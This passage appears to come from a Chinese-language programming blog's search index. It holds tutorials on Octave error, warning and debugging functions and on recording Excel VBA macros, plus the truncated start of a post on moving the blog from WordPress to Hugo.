會在沒有輸入參數的情況以 error() 函數產生錯誤：\nfunction f (arg1) if (nargin == 0) error(\u0026#34;not enough input arguments\u0026#34;); endif endfunction 當 error() 函數被呼叫後，會產生指定的錯誤訊息，並停止執行目前的程式，回到命令列，有就是說在 error() 函數之後的程式碼將不會被執行。\nerror (template, ...) error (id, template, ...) error() 函數會依照指定的格式將錯誤訊息輸出至標準錯誤（stderr），其格式的指定方式與 printf() 函數相同，而在輸出時會自動在每一行的開頭加上 \u0026quot;error: \u0026quot;。呼叫 error() 函數也會一並設置 Octave 內部的錯誤狀態，因此 Octave 會直接回到最上層的命令列，不會再執行任何的程式碼，這在取消執行函數或指令稿的時候很有用。\n若 error() 函數所指定的錯誤訊息沒有以換行字元結尾，Octave 會自動輸出所有呼叫函數的 traceback，例如：\nfunction f () g (); end function g () h (); end function h () nargin == 1 || error (\u0026#34;nargin != 1\u0026#34;); end 執行 f() 函數時所輸出的 traceback 訊息可以協助使用者很快的找出錯誤的發生點：\nf() 輸出的 traceback 訊息為\nerror: nargin != 1 error: called from: error: h at line 1, column 27 error: g at line 1, column 15 error: f at line 1, column 15 若 error() 函數所指定的錯誤訊息是以換行字元結尾，則 Octave 只會輸出指定的錯誤訊息，不會輸出 traceback，例如將上面的 h() 函數改為：\nfunction h () nargin == 1 || error (\u0026#34;nargin != 1\\n\u0026#34;); end 則執行 f()：\nf() 輸出的訊息變為：\nerror: nargin != 1 由於處理函數輸入參數錯誤的情況很常見，因此 Octave 中提供了一個 print_usage() 函數專門用來處理這樣的狀況，當 print_usage() 函數被呼叫時，它會讀取呼叫它的函數的開頭註解，並輸出詳細的錯誤訊息：若函數說明是 Texinfo 的格式，則會輸出其中 @deftypefn 所定義的函數原型（prototype）；若函數的說明不是 Texinfo 格式，則輸出的錯誤訊息會包含所有的函數說明。例如：\n## -*- texinfo -*- ## @deftypefn {Function File} f (@var{arg1}) ## Function help text goes here... ## @end deftypefn function f (arg1) if (nargin == 0) print_usage (); endif endfunction 若執行 f() 函數沒有輸入參數時，則會輸出錯誤訊息：\nf() 輸出的錯誤訊息為\nerror: Invalid call to f. Correct usage is: -- Function File: f (ARG1) Additional help for built-in functions and operators is available in the on-line version of the manual. Use the command `doc ' to search the manual index. Help and information about Octave is also available on the WWW at http://www.octave.org and via the help@octave.org mailing list. print_usage () print_usage (name) print_usage() 函數可以輸出參數 name 所指定的函數的使用說明，若省略 name 參數則會輸出目前函數的使用說明。\nusage (msg) usage(msg) 函數會將 msg 中訊息的每一行開頭加上 \u0026quot;usage: \u0026quot; 後輸出，並設置 Octave 內部的錯誤狀態，跳過之後所有的程式碼回到最上層的命令列，這個函數亦可用於中斷執行中的函數。當呼叫 usage() 函數後，Octave 也會輸出函數呼叫的 traceback。\n當函數以不正確的參數呼叫時，可以使用 usage() 函數輸出適當的錯誤訊息，例如大部分的 Octave 內建函數的開頭都會使用類似這樣的程式碼來檢查輸入的參數個數：\nif (nargin != 2) usage (\u0026#34;foo (a, b)\u0026#34;); endif 這樣當使用者所輸入的參數有問題時，可以輸出適當的訊息指引使用者如何使用此函數。\nbeep () beep() 函數可以讓喇叭產生一個嗶聲（beep）。\nval = beep_on_error () old_val = beep_on_error (new_val) beep_on_error() 函數可以查詢或設定是否要在錯誤訊息輸出前產生一個嗶聲。\n獲取錯誤（Catching Errors） 當錯誤發生時，可以使用 try 敘述來處理錯誤（請參考 try 敘述），例如下面的範例會計算在迴圈中發生幾次錯誤：\nnumber_of_errors = 0; for n = 1:100 try # ... catch number_of_errors++; end_try_catch endfor 上面這個範例中對於所有的錯誤都使用同一種處理方式，但有時候會需要針對不同的錯誤做不同的處理，此時可以使用 lasterror() 函數來判斷錯誤的類型，此函數會傳回包含最後一次錯誤資訊的資料結構，例如上面的範例可以修改為計算乘法運算子出現錯誤的次數：\nnumber_of_errors = 0; for n = 1:100 try # ... catch msg = lasterror.message; if (strfind (msg, \u0026#34;operator *\u0026#34;)) number_of_errors++; endif end_try_catch endfor err = lasterror (err) lasterror (\u0026#39;reset\u0026#39;) lasterror() 函數可以設定或傳回包含最後一次的錯誤資訊的資料結構，此資料結構的欄位如下：\nmessage：錯誤訊息。 identifier：錯誤的辨識碼。 stack：包含錯誤發生位置的資料結構，當此資訊無法取得時，會是一個空的資料結構。以下是資料結構的欄位： file：錯誤發生處的檔案名稱。 name：錯誤發生處的函數名稱。 line：錯誤發生處的行數。 column：錯誤發生處的字元數。 這個 err 資料結構也可以當作 lasterror() 函數的傳入參數，以設定最後一次的錯誤資訊，此傳入的資料結構唯一的限制就是必須為純量的資料結構，而此傳入的資料結構中若是其欄位名稱符合上面所列的這些欄位，則會將其值設為傳入資料結構中欄位中對應的值，其餘的值維持預設值。\n若 lasterror() 的傳入參數為 'reset'，則會將所有的值設為預設值。\n[msg, msgid] = lasterr (msg, msgid) lasterr() 函數可以查詢或設定最後一次的錯誤訊息與錯誤的辨識碼，若呼叫時沒有任何輸入參數，則會傳回最後一次的錯誤訊息，若設定 msg 參數，則會將最後一次的錯誤訊息設定為 msg，若再加上 msgid 參數則會再設定錯誤的辨識碼。\n當錯誤被 catch 敘述處理之後，亦可以重新丟出錯誤，當錯誤被處理之後還是需要終止程式執行的情況，就可以使用重新丟出錯誤的方式處理。\n要重新丟出錯誤可以使用 rethrow() 函數，上一個範例可以改成：若是乘法運算子出現錯誤，則計算其次數，否則就終止程式的執行：\nnumber_of_errors = 0; for n = 1:100 try # ... catch msg = lasterror.message; if (strfind (msg, \u0026#34;operator *\u0026#34;)) number_of_errors++; else rethrow (lasterror); endif end_try_catch endfor rethrow (err) rethrow(err) 函數會將 err 錯誤重新丟出，err 是一個至少包含 message 與 identifier 欄位的資料結構，另外亦可包含 stack 欄位（欄位的說明請參考上面 lasterror() 函數的說明），一般來說 err 可以由 lasterror() 函數取得。\nerr = errno () err = errno (val) err = errno (name) errno() 函數可以傳回系統變數 errno 目前的值，若傳入一個數值參數 val 則會將系統變數 errno 設定為 val；若傳入一個字串參數 name 則會傳回此名稱所對應的錯誤代碼，若找不到則傳回 -1，例如：\nerrno(\u0026#34;EIO\u0026#34;) 輸出為\nans = 5 errno_list () errno_list() 函數會傳回一個資料結構，其中包含系統變數 errno 所有可能的錯誤代碼。\n警告處理（Handling Warnings） 警告（warnings）與錯誤類似，都是用來通知使用者有一些預期之外的情況發生，但不同的是警告不會中斷目前所執行的程式。例如在數值除以零的的情況，Octave 會產生一個警告並將結果設為無限大（Inf）：\na = 1/0 輸出為\nwarning: division by zero a = Inf 產生警告（Issuing Warnings） 警告（warnings）可以使用 warning() 函數來產生，最簡單的方式就是輸入一個描述警告的字串參數，例如下面的程式碼會在變數 a 的值為負的情況下產生警告，並將 a 設為0：\na = -1; if (a \u0026lt; 0) warning (\u0026#34;\u0026#39;a\u0026#39; must be non-negative. Setting \u0026#39;a\u0026#39; to zero.\u0026#34;); a = 0; endif 執行的輸出為\nwarning: 'a' must be non-negative. Setting 'a' to zero. 由於警告對於程式的執行是沒有直接影響的，所以其沒有類似錯誤 try 與 catch 敘述的處理方式，只能使用 lastwarn() 函數取得最後一次的警告資訊。\nwarning() 函數亦可使用警告代碼來指定所要產生的警告，或是將指定的警告啟動或關閉。\nwarning (template, ...) warning (id, template, ...) warning (\u0026#34;on\u0026#34;, id) warning (\u0026#34;off\u0026#34;, id) warning (\u0026#34;error\u0026#34;, id) warning (\u0026#34;query\u0026#34;, id) warning(template, ...) 函數會依照 template 所指定的格式將錯誤訊息輸出至標準錯誤（stderr），其格式的指定方式與 printf() 函數相同，而在輸出時會自動在每一行的開頭加上 \u0026quot;warning: \u0026quot;。這個函數用於告知使用者有不正常的狀況發生，但是程式還是會繼續執行下去。\n其中 id 參數是警告代碼，使用者可以使用此代碼來啟動或關閉指定的警告，若指定為 \u0026quot;all\u0026quot; 則表示全部的警告。\nwarning(\u0026quot;query\u0026quot;, id) 可以查詢 id 所指定的警告的狀態，若省略 id 參數則預設為 \u0026quot;all\u0026quot;（即所有的警告）。warning(\u0026quot;query\u0026quot;, id) 是將 id 所指定的警告狀態設定為錯誤，這樣會使這個警告被當作一個錯誤來處理。\n[msg, msgid] = lastwarn (msg, msgid) lastwarn() 函數若不輸入任何參數則會傳回最後一次的警告訊息，若指定 msg 參數則會將最後一次的警告訊息設定為 msg，若再加上 msgid 參數則會一並將最後一次的警告代碼設定為 msgid。\n啟用與關閉警告（Enabling and Disabling Warnings） warning() 函數可以控制哪一些警告要輸出至螢幕上，若呼叫此函數只有傳入一個 \u0026quot;on\u0026quot; 或 \u0026quot;off\u0026quot; 參數，則會啟動或關閉所有的警告。若要控制指定的警告，可以使用警告的代碼，例如下面這個程式碼會產生警告：\nwarning (\u0026#34;non-negative-variable\u0026#34;, \u0026#34;\u0026#39;a\u0026#39; must be non-negative. Setting \u0026#39;a\u0026#39; to zero.\u0026#34;); 而下面這個則會將警告關閉：\nwarning (\u0026#34;off\u0026#34;, \u0026#34;non-negative-variable\u0026#34;); warning (\u0026#34;non-negative-variable\u0026#34;, \u0026#34;\u0026#39;a\u0026#39; must be non-negative. Setting \u0026#39;a\u0026#39; to zero.\u0026#34;); 下面是 Octave 中內建函數所使用的警告：\nOctave:array-to-scalar 若開啟 Octave:array-to-scalar 警告，則當陣列要被自動轉換成純量時，就會產生警告，此警告預設為關閉。\nOctave:array-to-vector 若開啟 Octave:array-to-vector 警告，則當陣列要被自動轉換成向量時，就會產生警告，此警告預設為關閉。\nOctave:assign-as-truth-value 若開啟 Octave:assign-as-truth-value 警告，則 Octave 碰到下面這樣的程式碼就會產生警告：\nif (s = t) # ... 因為這樣的程式碼通常是因為少寫了一個等於符號，應該是要寫成這樣才合理：\nif (s == t) # ... 然而將指定算子放在 while 或 if 敘述中也是一種常見的寫法，由其在 C 語言中，例如：\nwhile (c = getc()) # ... 在這種情況下若開啟 Octave:assign-as-truth-value 警告，Octave 也會產生警告訊息，但將此警告關閉又會容易忽略掉漏寫等號的問題，要處理這樣的情況可以將有使用指定運算子的地方再加入一個額外的小括號，這樣就可以避免產生警告訊息，例如上面的例子就可以寫成這樣：\nwhile ((c = getc())) # ... 這樣即可避免產生警告訊息，亦可以讓 Octave 檢查其他地方是否有漏寫等號。\nOctave:assign-as-truth-value 警告預設是開啟的。\nOctave:associativity-change 若開啟 Octave:associativity-change 警告，當運算子的關聯性改變會對程式的解讀造成影響時，Octave 就會提出警告，運算子關聯性改變一般都是為了與 Matlab 相容，預設 Octave:associativity-change 警告式開啟的。\nOctave:divide-by-zero 若開啟 Octave:divide-by-zero 警告，則當 Octave 遇到一個數值除以零的時候就會產生警告，預設為開啟。\nOctave:empty-list-elements 若開啟 Octave:empty-list-elements 警告，當使用中括號建立矩陣時，若中括號中有包含空矩陣，則會提出警告，例如：\na = [1, [], 3, [], 5] Octave:empty-list-elements 警告預設是開啟的。\nOctave:fortran-indexing 若開啟 Octave:fortran-indexing 警告，則在使用單一個索引存取二維的矩陣時，就會提出警告，此警告預設為關閉。\nOctave:function-name-clash 若開啟 Octave:function-name-clash 警告，當 Octave 發現一個定義在函數檔案中的函數，其函數名稱與檔案名稱不同時（若函數名稱與檔案名稱不同，則此函數會被忽略），就會提出警告，此警告預設為開啟。\nOctave:future-time-stamp 若開啟 Octave:future-time-stamp 警告，當 Octave 發現有函數檔案的時間戳記是未來的時間時，就會提出警告，此警告預設為開啟。\nOctave:imag-to-real 若開啟 Octave:imag-to-real 警告，則當一個複數自動轉換為實數時就會提出警告，此警告預設為關閉。\nOctave:matlab-incompatible 若開啟 Octave:matlab-incompatible 警告，則當有可能會出現 Matlab 相容性問題時，就會提出警告。\nOctave:missing-semicolon 若開啟 Octave:missing-semicolon 警告，當函數中的敘述沒有以分號結尾時，就會提出警告，此警告預設為關閉。\nOctave:neg-dim-as-zero 若開啟 Octave:neg-dim-as-zero 警告，當遇到維度為負的時候，就會提出警告，例如：\neye (-1) Octave:neg-dim-as-zero 警告預設為關閉。\nOctave:num-to-str 若開啟 Octave:num-to-str 警告，當數值自動轉換成對應的 ASCII 字元時，就會提出警告，此警告預設為開啟。\nOctave:precedence-change 若開啟 Octave:precedence-change 警告，當優先權的改變會對於程式的解讀造成影響時，Octave 就會提出警告，優先權的改變一般都是為了與 Matlab 相容，此警告預設為開啟。\nOctave:reload-forces-clear 當有多個函數已經從一個檔案中載入時，若要重新載入此檔案中的任何一個函數，必須先將這些已經載入的函數清除，若開啟 Octave:reload-forces-clear 警告，則當要清除這些以載入的函數時，就會提出警告，並列出所有會被清除的函數，此警告預設為開啟。\nOctave:resize-on-range-error 若開啟 Octave:resize-on-range-error 警告，當矩陣變換其大小時，若定的大小不在目前的範圍內，則會提出警告，此警告預設為關閉。\nOctave:separator-insert 若開啟 Octave:separator-insert 警告，則當字元矩陣中會被自動安插逗號或是分號時，就會提出警告。\nOctave:single-quote-string 若開啟 Octave:single-quote-string 警告，則當單引號字串用於常數字串時，就會提出警告。\nOctave:str-to-num 若開啟 Octave:str-to-num 警告，則當字串自動依照 ASCII 轉換為數值時，就會提出警告，例如：\n\u0026#34;abc\u0026#34; + 0 Octave:str-to-num 警告預設為關閉。\nOctave:string-concat 若開啟 Octave:string-concat 警告，若混合單引號與雙引號的字串使用時，就會提出警告，此警告預設為關閉。\nOctave:undefined-return-values 若開啟 Octave:undefined-return-values 警告，若在函數中沒有定義所有呼叫時所指定的傳回值，就會提出警告，此警告預設為開啟。\nOctave:variable-switch-label 若開啟 Octave:variable-switch-label 警告，若在 switch 的敘述中 label 不是一個常數或常數算式，就會提出警告，此警告預設為關閉。\n","permalink":"https://blog.gtwang.org/octave/octave-errors-and-warnings/","summary":"\u003cp\u003eOctave 中有許多用來輸出錯誤與警告訊息的函數，在使用者自行定義的函數中若是碰到異常的狀況，可以使用這裡介紹的函數來輸出錯誤或警告訊息。\u003c/p\u003e\n\u003cp\u003e由於 Octave 中大部份的函數都有使用這些錯誤與警告函數，因此了解這些函數的運作有助於使用者處理 Octave 所產生的錯誤與警告。\u003c/p\u003e","title":"Octave 錯誤與警告（Errors and Warnings）"},{"content":"本篇介紹如何使用 Excel 的錄製巨集功能，將使用者的操作錄起來，自動產生 VBA 的指令稿。\n在 Excel 使用 VBA 開發自動化的程式時，難免會若遇到某些動作不知道該怎麼用 VBA 來撰寫，傳統的作法當然就是去翻官方的 API 文件，看看自己想要使用的功能是不是有出現在 API 中，但是這種做法是最標準的，但是卻很花力氣、更會浪費許多時間。\n其實 Excel 本身就有內建非常好用的「錄製巨集」功能，它可以將使用者在 Excel 中的任何動作都記錄下來，然後自動產生可重複使用的 VBA 的程式碼，善用這個功能可以大幅降低 VBA 程式設計者的負擔，也可以讓開發者輕易發掘各種意想不到的 VBA 撰寫方式，以下是 Excel 錄製巨集功能的使用方式。\nExcel 錄製巨集 Excel 的「錄製巨集」其實是一個功能強大，而且也很常被使用的工具（如果會用的話），所以 Excel 在視窗的左下角特別放置了一個錄製巨集按鈕，只不過可能很多人都沒注意到它。\n而在開發人員工具列中，也有一個同樣的錄製巨集按鈕，在使用時要按哪一個都可以。\n當我們想要錄製一連串繁雜的操作，或是想要產生一些不知道怎麼寫 VBA 程式的動作時，都可以使用錄製巨集功能，以下我們示範錄製巨集的操作步驟。\n錄製變更日期格式巨集 這裡我們示範錄製一小段變更日期格式的巨集，將變更日期格式的動作記錄起來，方便套用至其他的儲存格上。\nStep 1\n請先選擇好要處理的資料，準備好之後，再按下「錄製巨集按鈕」。\n當然我們也可以先按下「錄製巨集按鈕」，再去選擇儲存格，這樣的話選擇儲存格的動作也會被錄裡起來，先後順序就看使用者需不需要紀錄選擇儲存格的動作，或是說就把全部的動作都一次紀錄下來，最後再把不要的刪掉也可以。\nStep 2\n在使用者按下錄製巨集按鈕之後，就會出現這樣的錄製巨集視窗，輸入巨集名稱後，按下「確定」即可開始錄製巨集。\nStep 3\n接下來使用者在 Excel 中所有的操作都會被記錄下來，包含改變資料內容或格式、選擇儲存格、加入圖表等，這時候我們就可以把想要讓 Excel 錄製下來的動作，整個操作一次，讓 Excel 記錄下來。\n在這個範例中，我們要修改日期的格式，我在右鍵選單中打開儲存格格式的視窗，調整了一下日期的格式，還有自型與顏色。\n在錄製巨集的期間，雖然使用者可以進行各種複雜的操作，但是如果後來需要自己修改 VBA 程式碼的話，建議不要一次錄太多的動作，以免產生的 VBA 程式碼太複雜，自己都看不懂。\nStep 4\n將所有要記錄的動作都操作一遍之後，就按下「停止錄製巨集」的按鈕。\n「停止錄製巨集」按鈕的位置跟原本「錄製巨集按鈕」的位置相同，只是在錄製期間這個按鈕就會變成「停止錄製的按鈕」。\nStep 5\n在「開發人員」工具列中，點選「巨集」按鈕。\nStep 6\n選擇剛剛錄製的巨集後，點選「編輯」。\nStep 7\n打開 VBA 程式碼編輯器之後，就可以看到剛剛錄製下來的 VBA 程式碼了。\n以下是錄製下來的程式碼，我稍微加上簡單的註解：\n\u0026#39; 調整 Excel 視窗位置（沒用） Application.Left = 985 Application.Top = 30.25 \u0026#39; 設定日期格式 Selection.NumberFormatLocal = \u0026#34;[DBNum1][$-404]m\u0026#34;\u0026#34;月\u0026#34;\u0026#34;d\u0026#34;\u0026#34;日\u0026#34;\u0026#34;;@\u0026#34; \u0026#39; 設定字型 With Selection.Font .Name = \u0026#34;標楷體\u0026#34; .FontStyle = \u0026#34;標準\u0026#34; .Size = 12 .Strikethrough = False .Superscript = False .Subscript = False .OutlineFont = False .Shadow = False .Underline = xlUnderlineStyleNone .Color = 255 .TintAndShade = 0 .ThemeFont = xlThemeFontNone End With \u0026#39; 設定背景顏色 With Selection.Interior .Pattern = xlSolid .PatternColorIndex = xlAutomatic .ThemeColor = xlThemeColorAccent2 .TintAndShade = 0.799981688894314 .PatternTintAndShade = 0 End With \u0026#39; 調整 Excel 視窗位置（沒用） Application.Left = 816.25 Application.Top = 186.25 這段程式碼當中最重要的就是中間的設定日期格式、字型與背景顏色三大部分，而頭尾卻出現幾行調整 Excel 視窗位置的程式碼，那就是因為我在錄製巨集時，不小心拉動了 Excel 視窗的位置，所以也一起被錄了下來，通常在錄製巨集時，多多少少都會參雜一些這類沒用的程式碼，所以錄完之後，我們都會大約看一下整個程式，把沒用的部分刪掉，或是只找出我們有興趣的部分，複製出來貼到自己寫的程式中使用。\n修改錄製巨集的 VBA 程式碼 當錄製好巨集之後，我們就可以參考其中的 VBA 程式碼，把它改成自己可以用的版本。\n以上面這個修改日期格式的例子來說，它是作用在目前所選擇的儲存格中（Selection），而我們只要把這個位置替換成我們要區域（請參考活頁簿、工作表與儲存格的教學），就可以變成可以修改任意儲存格日期格式的 VBA 程式碼了。\n以下是換成 A5 儲存格的例子，執行就會修改 A5 儲存格的日期格式：\n\u0026#39; 設定 A5 儲存格的日期的格式 Range(\u0026#34;A5\u0026#34;).NumberFormatLocal = \u0026#34;[DBNum1][$-404]m\u0026#34;\u0026#34;月\u0026#34;\u0026#34;d\u0026#34;\u0026#34;日\u0026#34;\u0026#34;;@\u0026#34; \u0026#39; 設定 A5 儲存格的字型 With Range(\u0026#34;A5\u0026#34;).Font .Name = \u0026#34;標楷體\u0026#34; .FontStyle = \u0026#34;標準\u0026#34; .Size = 12 .Strikethrough = False .Superscript = False .Subscript = False .OutlineFont = False .Shadow = False .Underline = xlUnderlineStyleNone .Color = 255 .TintAndShade = 0 .ThemeFont = xlThemeFontNone End With \u0026#39; 設定 A5 儲存格背景顏色 With Range(\u0026#34;A5\u0026#34;).Interior .Pattern = xlSolid .PatternColorIndex = xlAutomatic .ThemeColor = xlThemeColorAccent2 .TintAndShade = 0.799981688894314 .PatternTintAndShade = 0 End With 至於細部的字型與顏色等屬性，我想大家應該看了就懂了，需要改什麼就直接改，善用錄製巨集的功能，可以讓程式開發者省下很多力氣。\n參考資料 經理人 Excel Easy Contextures ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-record-macro/","summary":"\u003cp\u003e本篇介紹如何使用 Excel 的錄製巨集功能，將使用者的操作錄起來，自動產生 VBA 的指令稿。\u003c/p\u003e\n\u003cp\u003e在 Excel 使用 VBA 開發自動化的程式時，難免會若遇到某些動作不知道該怎麼用 VBA 來撰寫，傳統的作法當然就是去翻官方的 API 文件，看看自己想要使用的功能是不是有出現在 API 中，但是這種做法是最標準的，但是卻很花力氣、更會浪費許多時間。\u003c/p\u003e","title":"Excel VBA：錄製巨集"},{"content":"Octave 中內建有專門用於開發程式的除錯工具，此除錯工具可以用來暫停指令稿的執行，進入除錯模式，並讓開發者查看目前符號表中的變數值，檢查是否有錯誤。在除錯模式中也支援一般的命令列編輯與歷史紀錄。\n進入除錯模式（Entering Debug Mode） 在 Octave 中有兩種方式可以中斷指令稿的執行，一種是使用中斷點（breakpoints），當程式執行至中斷點時，就會暫停並進入除錯模式（請參考中斷點）；而另一種是設定停止條件，在程式在執行期間符合指定的條件時，就會暫停程式的執行而進入除錯模式。\nOctave 中有三種停止條件可以使用，分別以 debug_on_interrupt()、 debug_on_warning() 與 debug_on_error() 函數來設定。\nval = debug_on_interrupt () old_val = debug_on_interrupt (new_val) debug_on_interrupt() 函數可以設定與查詢 Octave 是否要在接收到中斷訊號（interrupt signal，通常是 Ctrl + c）時進入除錯模式，若在進入除錯模式之前，又再收到一個中斷訊號，則會依照一般收到中斷訊號的情況處理，也就是中斷程式的執行並離開。\nval = debug_on_warning () old_val = debug_on_warning (new_val) debug_on_warning() 函數可以查詢 Octave 是否要在警告產生時時進入除錯模式。\nval = debug_on_error () old_val = debug_on_error (new_val) debug_on_error() 函數可以查詢 Octave 是否要在錯誤產生時時進入除錯模式，若設定這個選項同時也會關閉一般的 traceback 的輸出，只會顯示最上層的錯誤訊息。\n離開除錯模式（Leaving Debug Mode） 要離開 Octave 的除錯模式可以使用 dbcont() 或 return() 函數。\ndbcont () dbcont() 函數可以離開除錯模式繼續執行原來的程式，適用於除錯模式中。\n若是在除錯模式中要終止程式執行，直接回到命令列，可以使用 dbquit() 函數。\ndbquit () dbquit() 函數可以離開除錯模式並終止原來的程式，回到最上層的命令列，適用於除錯模式中。\n中斷點（Breakpoints） Octave 的中斷點可以使用 dbstop() 函數設置在任何函數中。\nrline = dbstop (func, line, ...) dbstop() 函數可以在 func 函數中設定中斷點，若在除錯模式中則不用指定 func 參數，只需要指定 line 參數即可； line 參數則是指定中斷點的所在行數，若要指定多個中斷點，可以使用多個參數指定或是使用向量。傳回值 rline 是實際上設定中斷點的行數。\nOctave 的中斷點不可以設在內建函數（built-in function，例如：sin() 函數）或是動態載入函數（dynamically loaded function，例如：.oct 檔）中。若要將中斷點設置在函數的開頭，則 line 應設定為 1，開頭的註解部分會自動跳過，實際的中斷點會設置在第一個可以執行的敘述上，例如：\ndbstop (\u0026#34;asind\u0026#34;, 1) 輸出為\nans = 28 傳回值 28 表示實際的中斷點是設置在第 28 行，一個函數的其斷點的狀態可以由 dbstatus() 函數來查詢。\nlst = dbstatus (func) dbstatus(func) 函數可以傳回 func 函數中所有中斷點的行數，若在除錯模式中則不用加入 func 參數。例如上面所加入的中斷點可以這樣查詢：\ndbstop (\u0026#34;asind\u0026#34;, 31); dbstatus (\u0026#34;asind\u0026#34;) 輸出為\nBreakpoint in asind at line(s) 31. dbclear (func, line, ...) dbclear() 函數可以清除 func 函數中的中斷點，若在除錯模式中則不用加入 func 參數，line 參數可以指定要移除的中斷點的行數，若要指定多個中斷點，可以使用多個參數指定或是使用向量。\nOctave 並不會檢查所指定的行數是否真的有中斷點，若指定錯誤的行號，則 Octave 會直接忽略。\n下面的範例可以移除一個函數中所有的中斷點：\ndbclear (\u0026#34;asind\u0026#34;, dbstatus (\u0026#34;asind\u0026#34;)); 中斷點亦可設置在子函數內，假設一個函數檔案的內容為：\nfunction y = func1 (x) y = func2 (x); endfunction function y = func2 (x) y = x + 1; endfunction 在子函數中設置一個中斷點：\ndbstop ([\u0026#34;func1\u0026#34;, filemarker(), \u0026#34;func2\u0026#34;]) 輸出為\nans = 5 其中 filemarker() 函數會輸出一個用於分隔檔案名稱與子函數的分隔符號，藉由這樣的方式可以指定檔案中的子函數。\n另一種指定中斷點的方式是使用 keyboard() 函數。\nkeyboard () keyboard (prompt) keyboard() 函數是專門用於除錯的函數，當執行此函數時，Octave 會輸出一個提示符號，等待使用者輸入指令，輸入的指令會被執行，然後輸出執行結果，這樣可以讓使用者在中斷函數執行時，檢查或更改變數中的值。若要離開這個提示符號，可以使用 return 或 dbcont 命令。keyboard() 函數不會傳回離開的狀態值。prompt 參數可以指定提示符號，若省略則預設為 'debug\u0026gt; '。\n除錯模式（Debug Mode） 在 Octave 除錯模式中有兩個函數可以查詢在進入除錯模式前，程式執行的位置，並顯示出附近的程式碼。\ndbwhere () dbwhere() 函數會顯示在進入除錯模式前，程式執行的位置。\ndbtype () dbtype() 函數會輸出加入行號後的函數檔案內容。\n若要判斷除錯模式是否正在執行，可以使用 isdebugmode() 函數。\nisdebugmode () isdebugmode() 函數會判斷除錯模式是否正在執行，若正在執行則傳回 true，否則傳回 false。\ndbstep n dbstep in dbstep out 在除錯模式中執行 dbstep n 可以讓 Octave 向下執行 n 行程式碼，若省略參數 n 則會執行下一行程式碼。若下一行指令是定義在另外一個檔案中，則會依然停留在目前這個檔案中。\n在除錯模式中執行 dbstep in 會執行下一行程式碼，並進入下一行程式碼所在的檔案中。dbstep out 會讓 Octave 繼續執行直到跳出目前的函數為止。\n呼叫堆疊（Call Stack） [stack, idx] = dbstack (n) dbstack() 函數會傳回目前的堆疊資訊，若指定參數 n 則會忽略 n 個最內層的堆疊。\ndbup (n) 在除錯模式中呼叫 dbup(n) 函數會往上跳出 n 個堆疊，若省略參數 n 則跳到上一個堆疊。\ndbdown (n) 在除錯模式中呼叫 dbdown(n) 函數會往下跳入 n 個堆疊，若省略參數 n 則跳到下一個堆疊。\n","permalink":"https://blog.gtwang.org/octave/octave-debugging/","summary":"\u003cp\u003eOctave 中內建有專門用於開發程式的除錯工具，此除錯工具可以用來暫停指令稿的執行，進入除錯模式，並讓開發者查看目前符號表中的變數值，檢查是否有錯誤。在除錯模式中也支援一般的命令列編輯與歷史紀錄。\u003c/p\u003e","title":"Octave 除錯（Debugging）"},{"content":"今年春節我經過一番評估之後，決定將 G. T. Wang 部落格從原本的 WordPress 架構，更換為 Hugo 的靜態網站架構，除了熟悉新的 Hugo 架構之外，還要重新整理 G. T. Wang 部落格超過 1,500 篇舊文章，整個轉移過程歷經將近兩個月。\n為什麼要改為 Hugo 架構？ 更換網站 CMS 架構是規模龐大的工程，通常要花費幾個月的時間才能完成，一般的網站不會時常更換架構，我的 G. T. Wang 部落格從 2008 年成立至今，第一次更換架構是在 2015 年從 Blogger 平台更換為自行架設 WordPress，而第二次就是這一次改為 Hugo 靜態架構，以下是這次更換為 Hugo 架構的幾個原因。\nWordPress 伺服器負載問題 我的 G. T. Wang 部落格在 2025 年以前是採用 WordPress 架構，在過去的四、五年中，因為工作忙碌的關係擱置了好多年沒有持續更新，而這中間我時常收到 Linode 的伺服器告警信，告訴我系統的 CPU 負載過高。\n以過去的經驗來說，這類的問題通常是因為某些 WordPress 模組內部的程式碼 bugs 或 PHP 引擎本身的問題，造成伺服器的負載異常升高，想要解決這種問題，通常就是要更新 WordPress 或 php-fpm 版本，期望新版本可以修正它的 bugs，但是通常新出現的 bugs 不會馬上就修好，所以如果真的要在短時間內解決，都要去網路上看國外的技術論壇，看看有沒有第一手的補丁（patch）可以用，如果沒有人剛好遇到類似的問題，基本上要解決就只能靠自己，基本上幾乎是無解。\n另一個常見的原因就是惡意的外部網路攻擊，這類的大量異常網路流量，如果剛好會有一些運算工作的話（例如觸發搜尋功能等），也會造成伺服器的 PHP 引擎或資料庫負載過高，這種狀況最簡單的處理方式就是用人工的方式設置防火牆，阻擋攻擊流量的來源 IP 網段，但是若遇到來源 IP 網段非常分散，類似 DDOS 攻擊的方式，就沒辦法採用防火牆的方式。我之前遇到類似的狀況，實在不想逐一設置防火牆，就直接把 WordPress 的搜尋功能關了，直接採用 Google 搜尋替代。\n但是無論是哪一種因素造成的伺服器負載過高，處理起來都很花時間，我實在沒時間去處理這類的問題，後來索性直接放著不處理了，因為這類的負載異常升高，通常不太會影響網頁正常運作，但是我做了二十幾年的伺服器管理者，習慣性都會把伺服器問題處理好，不可能把伺服器問題放著不管，所以我也不斷思考如何以最少的時間，解決這種伺服器維護問題。\nWordPress 維護問題 WordPress 底層是用 PHP 與 MySQL/MariaDB 資料庫實作，所有的文章內容都放在 MySQL/MariaDB 資料庫中，而圖片則是放在 WordPress 的 uploads 目錄中透過 WordPress 管理，如果沒有 MySQL/MariaDB 資料庫，我根本無法判定 uploads 目錄中的各個檔案隸屬於哪一篇文章，因此所有的文章內容更動都必須透過 PHP 伺服器與 MySQL/MariaDB 資料庫運作，在伺服器轉移、資料備份與回復上都必須考慮 PHP 伺服器與 MySQL/MariaDB 資料庫，對於我這個沒時間的人來說，實在是一個負擔。\nHugo 靜態網頁架構 Hugo 是一套以 Go 語言實作的開放原始碼的靜態網站產生器，特點是具有高度靈活性以及高度的執行效能，我們可以使用簡單的 Markdown 語法編輯網頁原始內容，透過 Hugo 進行各種 CSS、JavaScript、圖片等素材的處理與最佳化，同時亦可套用樣板與佈景主題，以非常簡潔的作法產生最佳化的靜態網頁。\nHugo 本身只是一個靜態網站產生器，並不像 WordPress 這類的 CMS 有提供完善的網頁後台操作介面，所有的文章撰寫通常都是透過程式碼編輯器或 IDE 來進行，實際上就是編輯一個 Markdown 原始檔，另外加上一些網頁素材圖片而已，跟一般程式開發的模式很類似，所以 Hugo 比較適合程式設計師來使用，對於一般沒有程式開發經驗的人來說，Hugo 可能不是一個很好的選擇。\n對於我個人來說，由於長期管理 Linux 伺服器的因素，絕大部分的工作都是透過 ssh 連線到 Linux 